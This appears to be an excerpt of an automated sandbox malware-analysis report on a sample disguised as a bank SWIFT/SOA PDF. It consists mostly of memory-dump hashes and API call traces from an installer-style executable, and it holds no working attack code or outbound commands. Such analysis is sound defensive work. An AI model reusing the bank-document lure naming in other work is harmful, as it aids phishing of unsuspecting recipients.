                                                                                                            • Opcode ID: 73cf2741e3771e9cbe89a9d76bff9fd253ae1c04a81e4eb59f13a7588cd20d23
                                                                                                            • Instruction ID: 8a55f19e7ebe06c3a967b082d05f906af2bf780580b0c80f743360379895550e
                                                                                                            • Opcode Fuzzy Hash: 73cf2741e3771e9cbe89a9d76bff9fd253ae1c04a81e4eb59f13a7588cd20d23
                                                                                                            • Instruction Fuzzy Hash: 5FC1B274E00218CFDB14DFA5C984B9DBBB2BF89304F1084AAD819AB355DB359D86CF11
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: a27657a6cd9599b91ae07c46e509e4fa0a6205fc0a0f1aef5104b0f9edef7e8a
                                                                                                            • Instruction ID: 21d4561fab4f9bbafc5d90a2143702cdbc406a3f5027e5c8a3df1e2372b01226
                                                                                                            • Opcode Fuzzy Hash: a27657a6cd9599b91ae07c46e509e4fa0a6205fc0a0f1aef5104b0f9edef7e8a
                                                                                                            • Instruction Fuzzy Hash: 3DC1A174E00258CFDB14DFA9C984B9DBBB2BF89300F1085AAD409BB365DB355985CF15
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: a1bf60c24ded15ce835556e3616099f2ecd125b3cc8ada7006181c105405a643
                                                                                                            • Instruction ID: 637453b8e973ba446b3f40f70064436533d3b903d4a2453ef1d09991ccd493bf
                                                                                                            • Opcode Fuzzy Hash: a1bf60c24ded15ce835556e3616099f2ecd125b3cc8ada7006181c105405a643
                                                                                                            • Instruction Fuzzy Hash: BCC1B274E01218CFDB54DFA5C984B9DBBB2BF89300F1081AAD809AB365DB359E85CF51
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 733d511420468488536bd3b51cc65a4b22dd2e4628b599ce2dcce2a51169bf23
                                                                                                            • Instruction ID: 75ae891bdc5b2150c023e1886863149566fdada065f0bc6db7a905d83619ee01
                                                                                                            • Opcode Fuzzy Hash: 733d511420468488536bd3b51cc65a4b22dd2e4628b599ce2dcce2a51169bf23
                                                                                                            • Instruction Fuzzy Hash: 36C1B174E01218CFDB54DFA5C984BDDBBB2AF89300F1081AAD809AB365DB359A85CF51
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 6ccb8453e4c54775a41c05210d83a4f4a4fc1211ac404058ef0e2a57c9e47271
                                                                                                            • Instruction ID: 98af60f3d4ee7b2e2cbacc13e626486e979f420319d6cf49e1cc267b10e7974e
                                                                                                            • Opcode Fuzzy Hash: 6ccb8453e4c54775a41c05210d83a4f4a4fc1211ac404058ef0e2a57c9e47271
                                                                                                            • Instruction Fuzzy Hash: 09C1B174E00218CFDB14DFA5C984B9DBBB2BF89304F1081AAD809AB365DB359E85CF55
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 8bf0a7182c5cccd5d861bd34e9a4d2f184ff9222cd85aca825eb278a66ff4242
                                                                                                            • Instruction ID: 2a464bc50b9692350225d0a8a4a3d8743e0e5fe324269209d5b25ee13cd1f081
                                                                                                            • Opcode Fuzzy Hash: 8bf0a7182c5cccd5d861bd34e9a4d2f184ff9222cd85aca825eb278a66ff4242
                                                                                                            • Instruction Fuzzy Hash: 85C1A274E00218CFDB54DFA9C984B9DBBB2BF89304F1081AAD809AB355DB355A85CF54
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 24b2a68b1e76ec620c437f935ec18645989ef38a7f1f3001b84b6fe97a77e408
                                                                                                            • Instruction ID: 2945a572fef5278a6f3a1c9685e8a3f82e7312bb25a6f198bcdf9a3b0048a084
                                                                                                            • Opcode Fuzzy Hash: 24b2a68b1e76ec620c437f935ec18645989ef38a7f1f3001b84b6fe97a77e408
                                                                                                            • Instruction Fuzzy Hash: 83C1A274E00218CFDB54DFA9C984B9DBBB2BF89300F1081AAD409AB365DB359E85CF55
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 6aede0f8c363b64e2648ceba3fec4dcb09cad39b2aa3bead0a7236814b027fe8
                                                                                                            • Instruction ID: 34a61f6b63862f0245b4f67833f80dbacdd2f728d5299a686bfa71bf4ffa5a61
                                                                                                            • Opcode Fuzzy Hash: 6aede0f8c363b64e2648ceba3fec4dcb09cad39b2aa3bead0a7236814b027fe8
                                                                                                            • Instruction Fuzzy Hash: 4EC1B274E00218CFDB14DFA9C984B9DBBB2AF89300F5081AAD409AB365DB359D85CF51
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: a4160723661856d355807cbc3a7aac730b5738c3be0fbd9a8bc19393d2cd20c0
                                                                                                            • Instruction ID: 4e668bed747e7ce2c3ede80da034234e67df543d474823760b2a001e38fb7664
                                                                                                            • Opcode Fuzzy Hash: a4160723661856d355807cbc3a7aac730b5738c3be0fbd9a8bc19393d2cd20c0
                                                                                                            • Instruction Fuzzy Hash: E5C1A274E00218CFDB14DFA5C984B9DBBB2AF89300F1085AAD809AB365DB359E85CF55
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 67e13253d2b4af4ffbbcd0e5e87e5bc6097a85e13b1b6fdf9821fe6d0686e675
                                                                                                            • Instruction ID: c2ad443f88933a1f906b136730069fcbb05d05c76f34eb1bc359e7de3b74984f
                                                                                                            • Opcode Fuzzy Hash: 67e13253d2b4af4ffbbcd0e5e87e5bc6097a85e13b1b6fdf9821fe6d0686e675
                                                                                                            • Instruction Fuzzy Hash: BCC1B174E00218CFDB14DFA5C984B9DBBB2AF89300F1081AAD809BB365DB359E85CF51
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: e4bc144a2f443c2f6338b546c7db8d9b60fc818ac46efc8e83da87f77c304ef6
                                                                                                            • Instruction ID: 5c57980494b75b67d9299969108dba1574af1e55377673c476e9facc5cd05266
                                                                                                            • Opcode Fuzzy Hash: e4bc144a2f443c2f6338b546c7db8d9b60fc818ac46efc8e83da87f77c304ef6
                                                                                                            • Instruction Fuzzy Hash: 65C1B174E00218CFDB54DFA5C984B9DBBB2BF89300F1080AAD809AB365DB359E85CF54
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 32b9c5cb92ff53f6bb00adb583b642d21d21111f9b3dcfcc72983091be9b0e20
                                                                                                            • Instruction ID: 17fab8a118fc82ec80574cd5dca7c545871c911d6dcd6244e792203fd8092365
                                                                                                            • Opcode Fuzzy Hash: 32b9c5cb92ff53f6bb00adb583b642d21d21111f9b3dcfcc72983091be9b0e20
                                                                                                            • Instruction Fuzzy Hash: CDC19174E00218CFDB54DFA5C994B9DBBB2BF89300F1081AAD809AB365DB359E85CF54
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 429b5d3e158fcd15f2868727496db6aafefc2792d767398c12cd7c6ee08eaa5a
                                                                                                            • Instruction ID: 76ef29fb6764cc673cd989422d88d631d0471c860b865dad0dd3229b6f5ead91
                                                                                                            • Opcode Fuzzy Hash: 429b5d3e158fcd15f2868727496db6aafefc2792d767398c12cd7c6ee08eaa5a
                                                                                                            • Instruction Fuzzy Hash: 4EC1B274E00218CFDB14DFA5C984B9DBBB2BF89304F1080AAD409AB355DB355E85CF51
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 38e7da685b1aec87e43d3cf8b1fe364a9518c2cf6a2c8c8dd9f297fe45c27f37
                                                                                                            • Instruction ID: 98d53db49f3e3f3c01ab14e94accc17d3a987e97ae287f9422d555ab89ce432c
                                                                                                            • Opcode Fuzzy Hash: 38e7da685b1aec87e43d3cf8b1fe364a9518c2cf6a2c8c8dd9f297fe45c27f37
                                                                                                            • Instruction Fuzzy Hash: 45C1A274E00218CFDB54DFA5C984B9DBBB2BF89300F1081AAD809AB365DB355D85CF55
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 33c48db0b6c7b075d09d61c3b746f2f39f65d548f91d7895ee557b2ae9f46c85
                                                                                                            • Instruction ID: dd90c3fd9948440f2fab4ba31c5fb0539d04d368bd8f5d3bc1cd994d9e7dd389
                                                                                                            • Opcode Fuzzy Hash: 33c48db0b6c7b075d09d61c3b746f2f39f65d548f91d7895ee557b2ae9f46c85
                                                                                                            • Instruction Fuzzy Hash: 7DC1B274E00218CFDB14DFA5C984B9DBBB2BF89304F1081AAD809AB355DB355E85CF54
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 445e7bf63f1fda883023d7b47832e72a6b4554aa6f8c6f472657ec59778423bb
                                                                                                            • Instruction ID: 8a6649554083a26f21791c466cc397268eff2403d8e3d81c494e6a5bf6bac2fa
                                                                                                            • Opcode Fuzzy Hash: 445e7bf63f1fda883023d7b47832e72a6b4554aa6f8c6f472657ec59778423bb
                                                                                                            • Instruction Fuzzy Hash: 3EC1A274E00218CFDB14DFA9C984B9DBBB2BF89300F1081AAD809AB355DB359D85CF55
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 3dce9859ba09ca4768d3962b3f8da2c2e7dca82e562c9b06ff18badce9ffd0a9
                                                                                                            • Instruction ID: 10e84f1222841b3aa56e578160ca97371b6e510157b307cdfccbf97884849467
                                                                                                            • Opcode Fuzzy Hash: 3dce9859ba09ca4768d3962b3f8da2c2e7dca82e562c9b06ff18badce9ffd0a9
                                                                                                            • Instruction Fuzzy Hash: CFC1B274E00218CFDB14DFA5C994B9DBBB2AF89304F1080AAD409AB355DB359D85CF55
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 387a0eae18439a818b2c57c2ecfed2555977880763c5eb8cc4a7e701e8db70f6
                                                                                                            • Instruction ID: c15070c909289c8933158fee5d7b2fb056226f2045dd4a40a31baa8565d7b67c
                                                                                                            • Opcode Fuzzy Hash: 387a0eae18439a818b2c57c2ecfed2555977880763c5eb8cc4a7e701e8db70f6
                                                                                                            • Instruction Fuzzy Hash: 83C1B274E00218CFDB14DFA5C984B9DBBB2BF89304F1081AAD809AB355DB359E85CF55
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 6b06f13dbde20f6e4e36bc36a4ea1f770229ace71cf1ef3e4abfa98068ad5b0c
                                                                                                            • Instruction ID: b6ae5e2d1561350104da319b0e04e35b9019de86aea28fc7d314b8051ed7dc85
                                                                                                            • Opcode Fuzzy Hash: 6b06f13dbde20f6e4e36bc36a4ea1f770229ace71cf1ef3e4abfa98068ad5b0c
                                                                                                            • Instruction Fuzzy Hash: F5C1C174E00218CFDB54DFA5C984B9DBBB2BF89304F1081AAD809AB365DB349E85CF51
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 0e994317e1be48d9d2508792a7b0e00a0839f3c6f3e8d63cbcef2656eb443f0a
                                                                                                            • Instruction ID: 9814147b9c311f5236dcb5560567fb4685981803f803cfce4005e5a270365aaa
                                                                                                            • Opcode Fuzzy Hash: 0e994317e1be48d9d2508792a7b0e00a0839f3c6f3e8d63cbcef2656eb443f0a
                                                                                                            • Instruction Fuzzy Hash: 53C1C374E00218CFDB14DFA5C984B9DBBB2BF89304F1081AAD809AB355DB349E85CF55
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 4840001fca9311f90b3f658ab571d20cd224f00aafe9a08413bc75c9f356ccac
                                                                                                            • Instruction ID: 70308ae70a1fcb4a4ccfd0feb96181374c65ffeb01e06d4120b5ad38031af981
                                                                                                            • Opcode Fuzzy Hash: 4840001fca9311f90b3f658ab571d20cd224f00aafe9a08413bc75c9f356ccac
                                                                                                            • Instruction Fuzzy Hash: 17C1A174E00218CFDB54DFA5C984B9DBBB2BF89304F1081AAD809AB365DB359E85CF51
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: c097cbd48cc80e84fa63c597433d897553c78e15198f0091f31701cf4a66eafd
                                                                                                            • Instruction ID: f43c803d1a53c8cab4d84f7c8651363e888667446e29c1a88766422b3d280865
                                                                                                            • Opcode Fuzzy Hash: c097cbd48cc80e84fa63c597433d897553c78e15198f0091f31701cf4a66eafd
                                                                                                            • Instruction Fuzzy Hash: 36D05E34D4021C8BCB10EFA8E8502ECF770EFA9310F0060B6C14CB3211CBB059908F16
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 3df6b80fd4a24abcbe65f128cbafba1795d5f4f04528ede7e571fbab79862f18
                                                                                                            • Instruction ID: 4e387237bfb57a241cfa29d663bfbddc72bfe2d5ad4144771db0c500d9da277f
                                                                                                            • Opcode Fuzzy Hash: 3df6b80fd4a24abcbe65f128cbafba1795d5f4f04528ede7e571fbab79862f18
                                                                                                            • Instruction Fuzzy Hash: 35D06775D4421D9ACB11DFA8D8506ECB770EFAA300F1064A69449A7211DB709A919A16
                                                                                                            APIs
                                                                                                            • GetDlgItem.USER32(?,00000403), ref: 00405332
                                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 00405341
                                                                                                            • GetClientRect.USER32(?,?), ref: 0040537E
                                                                                                            • GetSystemMetrics.USER32(00000015), ref: 00405386
                                                                                                            • SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
                                                                                                            • SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
                                                                                                            • SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
                                                                                                            • SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
                                                                                                            • SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
                                                                                                            • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
                                                                                                            • ShowWindow.USER32(?,00000008), ref: 00405422
                                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 00405443
                                                                                                            • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
                                                                                                            • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
                                                                                                            • SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
                                                                                                            • GetDlgItem.USER32(?,000003F8), ref: 00405350
                                                                                                              • Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172
                                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 00405495
                                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 004054AA
                                                                                                            • ShowWindow.USER32(00000000), ref: 004054CE
                                                                                                            • ShowWindow.USER32(?,00000008), ref: 004054D3
                                                                                                            • ShowWindow.USER32(00000008), ref: 0040551D
                                                                                                            • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
                                                                                                            • CreatePopupMenu.USER32 ref: 00405562
                                                                                                            • AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
                                                                                                            • GetWindowRect.USER32(?,?), ref: 00405596
                                                                                                            • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
                                                                                                            • SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
                                                                                                            • OpenClipboard.USER32(00000000), ref: 004055F7
                                                                                                            • EmptyClipboard.USER32 ref: 004055FD
                                                                                                            • GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
                                                                                                            • GlobalLock.KERNEL32(00000000), ref: 00405613
                                                                                                            • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
                                                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 00405647
                                                                                                            • SetClipboardData.USER32(0000000D,00000000), ref: 00405652
                                                                                                            • CloseClipboard.USER32 ref: 00405658
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                                                                                            • String ID: {
                                                                                                            • API String ID: 590372296-366298937
                                                                                                            • Opcode ID: 40d8ee56fed0ff9bd7faebda229d010c99ca55f69e8b7427a9ca7d215ef8d0f7
                                                                                                            • Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
                                                                                                            • Opcode Fuzzy Hash: 40d8ee56fed0ff9bd7faebda229d010c99ca55f69e8b7427a9ca7d215ef8d0f7
                                                                                                            • Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69
                                                                                                            APIs
                                                                                                            • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
                                                                                                            • ShowWindow.USER32(?), ref: 00403CB0
                                                                                                            • DestroyWindow.USER32 ref: 00403CC4
                                                                                                            • SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
                                                                                                            • GetDlgItem.USER32(?,?), ref: 00403D01
                                                                                                            • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
                                                                                                            • IsWindowEnabled.USER32(00000000), ref: 00403D1C
                                                                                                            • GetDlgItem.USER32(?,00000001), ref: 00403DCA
                                                                                                            • GetDlgItem.USER32(?,00000002), ref: 00403DD4
                                                                                                            • SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
                                                                                                            • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
                                                                                                            • GetDlgItem.USER32(?,00000003), ref: 00403EE5
                                                                                                            • ShowWindow.USER32(00000000,?), ref: 00403F06
                                                                                                            • EnableWindow.USER32(?,?), ref: 00403F18
                                                                                                            • EnableWindow.USER32(?,?), ref: 00403F33
                                                                                                            • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
                                                                                                            • EnableMenuItem.USER32(00000000), ref: 00403F50
                                                                                                            • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
                                                                                                            • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
                                                                                                            • lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
                                                                                                            • SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
                                                                                                            • ShowWindow.USER32(?,0000000A), ref: 004040EC
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
                                                                                                            • String ID:
                                                                                                            • API String ID: 184305955-0
                                                                                                            • Opcode ID: bcef63d1befa62095ffb28f8decf7ccef4978ac163dab3c6641283cf9af83911
                                                                                                            • Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
                                                                                                            • Opcode Fuzzy Hash: bcef63d1befa62095ffb28f8decf7ccef4978ac163dab3c6641283cf9af83911
                                                                                                            • Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E
                                                                                                            APIs
                                                                                                              • Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
                                                                                                              • Part of subcall function 00406254: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406271
                                                                                                              • Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282
